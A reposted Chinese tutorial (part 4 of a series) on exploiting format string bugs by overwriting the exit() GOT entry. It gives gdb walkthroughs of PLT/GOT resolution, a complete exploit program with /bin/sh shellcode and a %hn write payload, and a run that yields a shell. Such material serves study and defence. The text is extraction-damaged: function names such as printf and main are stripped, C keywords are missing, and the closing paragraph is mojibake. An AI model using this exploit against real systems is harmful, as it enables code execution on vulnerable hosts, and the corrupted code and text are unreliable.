formatstring漏洞:Format String 漏洞介绍/整理总结( 4)来源: 发布时间:星期六, 2009年9月12日 浏览:4次 评论:0
Format String 漏洞介绍/整理总结( 4)
Bkbll([email protected]) 2003-3-9 5.覆盖GOT表 在编译elf文件时候如果要用到其他动态库比如prf, exit等 编译时候并不会直接把这两个代码编译进去而是留个地址在GOT表里面当elf文件被加载时候代码段才会真正加载进来然后替换掉GOT表里面地址(具体实现可以参考alert7篇文章) [bkbll@mobile format]$ cat 13.c {prf("hello,world");exit(0);} [bkbll@mobile format]$ gdb -q 13 (gdb) disass prf Dump of assembler code for function prf: 0x804828c <prf>: jmp *0x80494d8 0x8048292 <prf+6>: push $0x8 0x8048297 <prf+11>: jmp 0x804826c <_init+24> End of assembler dump. (gdb) x/wx 0x80494d8 0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048292 (gdb) x/i 0x804826c 0x804826c <_init+24>: pushl 0x80494cc (gdb) 0x8048272 <_init+30>: jmp *0x80494d0 (gdb) x/w 0x80494d0 0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000 在未开始加载动态共享库时候PLT表第1项指向地址为空 (gdb) b Breakpo 1 at 0x8048362 (gdb) r Starting program: /home/bkbll/format/13 Breakpo 1, 0x08048362 in (gdb) x/w 0x80494d0 0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a180 (gdb) disass 0x4000a180 Dump of assembler code for function _dl_runtime_resolve: 0x4000a180 <_dl_runtime_resolve>: push %eax 0x4000a181 <_dl_runtime_resolve+1>: push %ecx 0x4000a182 <_dl_runtime_resolve+2>: push %edx 0x4000a183 <_dl_runtime_resolve+3>: mov 0x10(%esp,1),%edx 0x4000a187 <_dl_runtime_resolve+7>: mov 0xc(%esp,1),%eax 0x4000a18b <_dl_runtime_resolve+11>: call 0x40009f10 <fixup> /* 这里开始把填充地址 */ 0x4000a190 <_dl_runtime_resolve+16>: pop %edx 0x4000a191 <_dl_runtime_resolve+17>: pop %ecx 0x4000a192 <_dl_runtime_resolve+18>: xchg %eax,(%esp,1) 0x4000a195 <_dl_runtime_resolve+21>: ret $0x8 0x4000a198 <_dl_runtime_resolve+24>: nop 0x4000a199 <_dl_runtime_resolve+25>: lea 0x0(%esi,1),%esi End of assembler dump. (gdb) b *0x4000a192 Breakpo 2 at 0x4000a192 (gdb) c Continuing. Breakpo 2, 0x4000a192 in _dl_runtime_resolve from /lib/ld-linux.so.2 (gdb) x/i 0x804828c 0x804828c <prf>: jmp *0x80494d8 (gdb) x/wx 0x80494d8 0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x42052390 /* 这里已经改成了真prf地址*/ (gdb) disass 0x42052390 0x42052390+0x70 Dump of assembler code from 0x42052390 to 0x42052400: 0x42052390 <prf>: push %ebp 0x42052391 <prf+1>: mov %esp,%ebp 0x42052393 <prf+3>: sub $0x18,%esp 0x42052396 <prf+6>: mov %ebx,0xfffffffc(%ebp) 0x42052399 <prf+9>: lea 0xc(%ebp),%ecx 0x4205239c <prf+12>: call 0x4201575d <__i686.get_pc_thunk.bx> 0x420523a1 <prf+17>: add $0xd7f2f,%ebx 0x420523a7 <prf+23>: mov 0x17c(%ebx),%eax 0x420523ad <prf+29>: mov (%eax),%eax 0x420523af <prf+31>: mov %ecx,0x8(%esp,1) 0x420523b3 <prf+35>: mov %eax,(%esp,1) 0x420523b6 <prf+38>: mov 0x8(%ebp),%eax 0x420523b9 <prf+41>: mov %eax,0x4(%esp,1) 0x420523bd <prf+45>: call 0x42047f00 <vfprf> 0x420523c2 <prf+50>: mov 0xfffffffc(%ebp),%ebx 0x420523c5 <prf+53>: mov %ebp,%esp 0x420523c7 <prf+55>: pop %ebp 0x420523c8 <prf+56>: ret 0x420523c9 <prf+57>: nop 0x420523ca <prf+58>: nop 0x420523cb <prf+59>: nop 0x420523cc <prf+60>: nop ---Type <> to continue, or q <> to quit---q Quit 这个是prf加载过程下面exit过程样 exit在prf后面加载 所以我们可以通过format 漏洞覆盖掉exit入口地址不让他去执行真正exit 我们看下exit位置: (gdb) disass Dump of assembler code for function : 0x804835c <>: push %ebp 0x804835d <+1>: mov %esp,%ebp 0x804835f <+3>: sub $0x8,%esp 0x8048362 <+6>: and $0xfffffff0,%esp 0x8048365 <+9>: mov $0x0,%eax 0x804836a <+14>: sub %eax,%esp 0x804836c <+16>: sub $0xc,%esp 0x804836f <+19>: push $0x80483d0 0x8048374 <+24>: call 0x804828c <prf> 0x8048379 <+29>: add $0x10,%esp 0x804837c <+32>: sub $0xc,%esp 0x804837f <+35>: push $0x0 0x8048381 <+37>: call 0x804829c <exit> 0x8048386 <+42>: nop 0x8048387 <+43>: nop (gdb) x/i 0x804829c 0x804829c <exit>: jmp *0x80494dc (gdb) x/wx 0x80494dc 0x80494dc <_GLOBAL_OFFSET_TABLE_+20>: 0x080482a2 (gdb) x/i 0x080482a2 0x80482a2 <exit+6>: push $0x10 (gdb) 0x80482a7 <exit+11>: jmp 0x804826c <_init+24> /*这里就需要加载exit地址了*/ 只要我们覆盖掉0x80494dc地址让里面内容替换成我们shellcode地址就可以执行我们命令了. 对应我们vuln: [bkbll@mobile fmtxp_lib]$ objdump -R vuln vuln: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049648 R_386_GLOB_DAT __gmon_start__ 0804964c R_386_COPY stderr 08049630 R_386_JUMP_SLOT fprf 08049634 R_386_JUMP_SLOT fgets 08049638 R_386_JUMP_SLOT __libc_start_ 0804963c R_386_JUMP_SLOT prf 08049640 R_386_JUMP_SLOT exit 08049644 R_386_JUMP_SLOT fopen 所以want_write_addr=08049640,其他都样 [bkbll@mobile fmtxp_lib]$ cat x3.c /* write to exit function GOT address * objdump -R vuln |grep exit * coded by bkbll([email protected]) */ # <stdio.h> # <stdlib.h> # <s.h> # want_write_addr 0x8049640 # pad 12 # straddr 0xbffff690 char shellcode= "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89" "\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c" "\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff" "/bin/sh"; { high_ret,low_ret; char buffer[1024]; j=0; shell_addr_pad=0x50; rea_high_ret,rea_low_ret; pr_acc; mem(buffer,0x90,1024); buffer[1023]=0; high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff; low_ret=(straddr+shell_addr_pad) & 0xffff; (high_ret low_ret) exit(0); rea_high_ret=high_ret; rea_low_ret=low_ret; (high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} pr_acc=rea_high_ret - rea_low_ret; fprf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad); //j=sprf(buffer,"%s",want_write_addr); buffer[0]=want_write_addr & 0xff; buffer[1]=(want_write_addr >> 8 ) & 0xff; buffer[2]=(want_write_addr >> 16 ) & 0xff; buffer[3]=(want_write_addr >> 24 ) & 0xff; //jsprf(buffer+j,"%s",want_write_addr+2); buffer[4]=((want_write_addr+2)) & 0xff; buffer[5]=((want_write_addr+2)>>8) & 0xff; buffer[6]=((want_write_addr+2)>>16) & 0xff; buffer[7]=((want_write_addr+2)>>24) & 0xff; j=8; jsprf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,pr_acc,pad); buffer[j]=0x90; sprf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode); (j>=1024) {prf("please realloc buffer to %d\n",j+1);exit(0);} prf("%s\n",buffer); } bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 >3; ./vuln 3 蛝)繞蛝柁/bin/sh sh-2.05b$ id uid=500(bkbll) gid=500(bkbll) groups=500(bkbll) sh-2.05b$ 成功了 我们跟踪下: [bkbll@mobile fmtxp_lib]$ gdb -q vuln (gdb) disass foo Dump of assembler code for function foo: 0x80484c4 <foo>: push %ebp 0x80484c5 <foo+1>: mov %esp,%ebp 0x80484c7 <foo+3>: sub $0x8,%esp 0x80484ca <foo+6>: sub $0xc,%esp 0x80484cd <foo+9>: pushl 0x8(%ebp) 0x80484d0 <foo+12>: call 0x8048350 <prf> 0x80484d5 <foo+17>: add $0x10,%esp 0x80484d8 <foo+20>: leave 0x80484d9 <foo+21>: ret End of assembler dump. (gdb) b *0x80484cd Breakpo 1 at 0x80484cd: file vuln.c, line 31. (gdb) b *0x80484d5 Breakpo 2 at 0x80484d5: file vuln.c, line 31. (gdb) r 3 Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 3 Breakpo 1, 0x080484cd in foo ( line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31 31 prf (line); (gdb) disass Dump of assembler code for function : 0x8048430 <>: push %ebp 0x8048431 <+1>: mov %esp,%ebp 0x8048433 <+3>: sub $0x418,%esp 0x8048439 <+9>: and $0xfffffff0,%esp 0x804843c <+12>: mov $0x0,%eax 0x8048441 <+17>: sub %eax,%esp 0x8048443 <+19>: sub $0x8,%esp 0x8048446 <+22>: push $0x8048524 0x804844b <+27>: mov 0xc(%ebp),%eax 0x804844e <+30>: add $0x4,%eax 0x8048451 <+33>: pushl (%eax) 0x8048453 <+35>: call 0x8048370 <fopen> 0x8048458 <+40>: add $0x10,%esp 0x804845b <+43>: mov %eax,0xfffffff4(%ebp) 0x804845e <+46>: cmpl $0x0,0xfffffff4(%ebp) 0x8048462 <+50>: jne 0x8048489 <+89> 0x8048464 <+52>: sub $0x4,%esp 0x8048467 <+55>: mov 0xc(%ebp),%eax 0x804846a <+58>: pushl (%eax) 0x804846c <+60>: push $0x8048527 0x8048471 <+65>: pushl 0x804964c 0x8048477 <+71>: call 0x8048320 <fprf> ---Type <> to continue, or q <> to quit--- 0x804847c <+76>: add $0x10,%esp 0x804847f <+79>: sub $0xc,%esp 0x8048482 <+82>: push $0x1 0x8048484 <+84>: call 0x8048360 <exit> 0x8048489 <+89>: sub $0x4,%esp 0x804848c <+92>: pushl 0xfffffff4(%ebp) 0x804848f <+95>: push $0x3ff 0x8048494 <+100>: lea 0xfffffbe8(%ebp),%eax 0x804849a <+106>: push %eax 0x804849b <+107>: call 0x8048330 <fgets> 0x80484a0 <+112>: add $0x10,%esp 0x80484a3 <+115>: movb $0x0,0xffffffe7(%ebp) 0x80484a7 <+119>: sub $0xc,%esp 0x80484aa <+122>: lea 0xfffffbe8(%ebp),%eax 0x80484b0 <+128>: push %eax 0x80484b1 <+129>: call 0x80484c4 <foo> 0x80484b6 <+134>: add $0x10,%esp 0x80484b9 <+137>: sub $0xc,%esp 0x80484bc <+140>: push $0x0 0x80484be <+142>: call 0x8048360 <exit> End of assembler dump. (gdb) x/i 0x8048360 0x8048360 <exit>: jmp *0x8049640 (gdb) x/wx 0x8049640 0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048366 (gdb)c 蛝)繞蛝柁/bin/sh Breakpo 2, 0x080484d5 in foo ( line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31 31 prf (line); (gdb) x/wx 0x8049640 0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0xbffff6e0 /* 已经修改成了我们shellcode地址了 */ (gdb) x/i 0xbffff6e0 0xbffff6e0: nop (gdb) c Continuing. Program received signal SIGTRAP, Trace/po trap. 0x40000b30 in _start from /lib/ld-linux.so.2 (gdb) 6.后记 我这里讲叙都是些最基本format 利用思路方法在phrack杂志上还有其钊牒芨丛拥睦梅椒ǎ热缋酶哺莚eturn o libc思路方法来饶过non-exec stack限制等有兴趣可以看看alert7, warning3等牛人文章或者直接看phrack杂志介绍 本人水平有限对于GOT理解荒苁侵湓恢渌栽绻斫庥写砦螅雇涣咧附獭?BR> 0
相关文章读者评论发表评论 |